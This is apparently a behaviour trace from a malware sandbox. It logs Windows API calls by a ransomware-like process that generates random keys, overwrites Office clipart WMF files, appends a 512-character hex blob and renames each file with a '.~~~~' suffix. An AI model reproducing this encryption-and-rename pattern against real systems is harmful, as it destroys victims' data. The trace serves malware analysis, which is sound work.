	[0090.948] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.948] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.948] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.948] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.948] CloseHandle (hObject=0x12c) returned 1
	[0090.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.948] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.~~~~")) returned 1
	[0091.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.017] GetLastError () returned 0x0
	[0091.033] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x28d6e70) returned 1
	[0091.034] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.034] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0091.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.034] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21102451137) returned 1
	[0091.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa00aea70, dwHighDateTime=0x1d60e1e)) 
	[0091.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382098
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382098 | out: hHeap=0x300000) returned 1
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3831b0
	[0091.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.035] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.035] GetLastError () returned 0x0
	[0091.035] GetLastError () returned 0x0
	[0091.035] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.035] GetLastError () returned 0x0
	[0091.035] GetLastError () returned 0x0
	[0091.039] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff44c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.039] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xbb4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xbb4, lpOverlapped=0x0) returned 1
	[0091.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.040] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.040] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.040] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.040] CloseHandle (hObject=0x12c) returned 1
	[0091.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.040] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.~~~~")) returned 1
	[0091.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.041] GetLastError () returned 0x0
	[0091.042] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.042] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.042] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.042] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21103262373) returned 1
	[0091.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa00aea70, dwHighDateTime=0x1d60e1e)) 
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3820d0
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3820d0 | out: hHeap=0x300000) returned 1
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383248
	[0091.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.043] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.043] GetLastError () returned 0x0
	[0091.043] GetLastError () returned 0x0
	[0091.043] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.044] GetLastError () returned 0x0
	[0091.044] GetLastError () returned 0x0
	[0091.045] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffde8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.045] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2174, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2174, lpOverlapped=0x0) returned 1
	[0091.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.047] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.047] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.047] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.047] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.048] CloseHandle (hObject=0x12c) returned 1
	[0091.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.~~~~")) returned 1
	[0091.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.048] GetLastError () returned 0x0
	[0091.049] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x28d76f0) returned 1
	[0091.050] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.050] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.051] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21104083788) returned 1
	[0091.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa00d4bd0, dwHighDateTime=0x1d60e1e)) 
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382108
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382108 | out: hHeap=0x300000) returned 1
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383378
	[0091.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.051] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.052] GetLastError () returned 0x0
	[0091.052] GetLastError () returned 0x0
	[0091.052] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.052] GetLastError () returned 0x0
	[0091.052] GetLastError () returned 0x0
	[0091.055] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff918, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.055] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x6e8, lpOverlapped=0x0) returned 1
	[0091.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.056] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.056] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.056] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.056] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.056] CloseHandle (hObject=0x12c) returned 1
	[0091.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.056] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.~~~~")) returned 1
	[0091.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.057] GetLastError () returned 0x0
	[0091.058] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x28d76f0) returned 1
	[0091.059] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.059] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.059] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21104905240) returned 1
	[0091.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa00d4bd0, dwHighDateTime=0x1d60e1e)) 
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382140
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382140 | out: hHeap=0x300000) returned 1
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383410
	[0091.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.060] GetLastError () returned 0x0
	[0091.060] GetLastError () returned 0x0
	[0091.060] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.060] GetLastError () returned 0x0
	[0091.060] GetLastError () returned 0x0
	[0091.061] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffc7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.062] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x384, lpOverlapped=0x0) returned 1
	[0091.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.062] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.062] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.062] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.062] CloseHandle (hObject=0x12c) returned 1
	[0091.062] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.062] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.~~~~")) returned 1
	[0091.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.063] GetLastError () returned 0x0
	[0091.063] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x28d76f0) returned 1
	[0091.064] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.064] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.064] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21105424829) returned 1
	[0091.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa00d4bd0, dwHighDateTime=0x1d60e1e)) 
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382178
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382178 | out: hHeap=0x300000) returned 1
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3834a8
	[0091.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.065] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.065] GetLastError () returned 0x0
	[0091.065] GetLastError () returned 0x0
	[0091.065] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.065] GetLastError () returned 0x0
	[0091.065] GetLastError () returned 0x0
	[0091.171] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff624, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
